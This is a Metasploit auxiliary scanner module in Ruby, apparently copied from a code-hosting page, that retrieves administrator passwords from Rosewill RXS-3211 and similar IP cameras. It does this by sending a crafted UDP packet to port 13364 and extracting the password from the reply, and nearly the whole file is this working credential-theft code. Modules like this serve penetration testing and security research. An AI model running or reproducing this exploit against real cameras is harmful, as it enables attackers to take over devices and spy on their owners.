107 lines
2.8 KiB
Ruby
107 lines
2.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Rosewill RXS-3211 IP Camera Password Retriever',
|
|
'Description' => %q{
|
|
This module takes advantage of a protocol design issue with the Rosewill admin
|
|
executable in order to retrieve passwords, allowing remote attackers to take
|
|
administrative control over the device. Other similar IP Cameras such as Edimax,
|
|
Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.
|
|
The protocol deisgn issue also allows attackers to reset passwords on the device.
|
|
},
|
|
'Author' => 'Ben Schmidt',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://spareclockcycles.org/exploiting-an-ip-camera-control-protocol/' ],
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::CHOST,
|
|
Opt::RPORT(13364),
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
#Protocol
|
|
target_mac = "\xff\xff\xff\xff\xff\xff"
|
|
cmd = "\x00" #Request
|
|
cmd << "\x06\xff\xf9" #Type
|
|
|
|
password = nil
|
|
|
|
begin
|
|
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
|
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
|
udp_sock = Rex::Socket::Udp.create( {
|
|
'LocalHost' => datastore['CHOST'] || nil,
|
|
'PeerHost' => ip,
|
|
'PeerPort' => datastore['RPORT'],
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
})
|
|
|
|
udp_sock.put(target_mac+cmd)
|
|
|
|
res = udp_sock.recvfrom(65535, 0.5) and res[1]
|
|
|
|
#Parse the reply if we get a response
|
|
if res
|
|
password = parse_reply(res)
|
|
end
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
|
print_error("Connection error")
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Unknown error: #{e.class} #{e}")
|
|
ensure
|
|
udp_sock.close if udp_sock
|
|
end
|
|
|
|
#Store the password if the parser returns something
|
|
if password
|
|
print_status("Password retrieved: #{password.to_s}")
|
|
report_auth_info({
|
|
:host => rhost,
|
|
:port => rport,
|
|
:sname => 'ipcam',
|
|
:duplicate_ok => false,
|
|
:pass => password,
|
|
})
|
|
end
|
|
end
|
|
|
|
def parse_reply(pkt)
|
|
@results ||= {}
|
|
|
|
# Ignore "empty" packets
|
|
return nil if not pkt[1]
|
|
|
|
if(pkt[1] =~ /^::ffff:/)
|
|
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
|
end
|
|
|
|
return pkt[0][333,12] if pkt[0][6,4] == "\x01\x06\xff\xf9"
|
|
end
|
|
|
|
end
|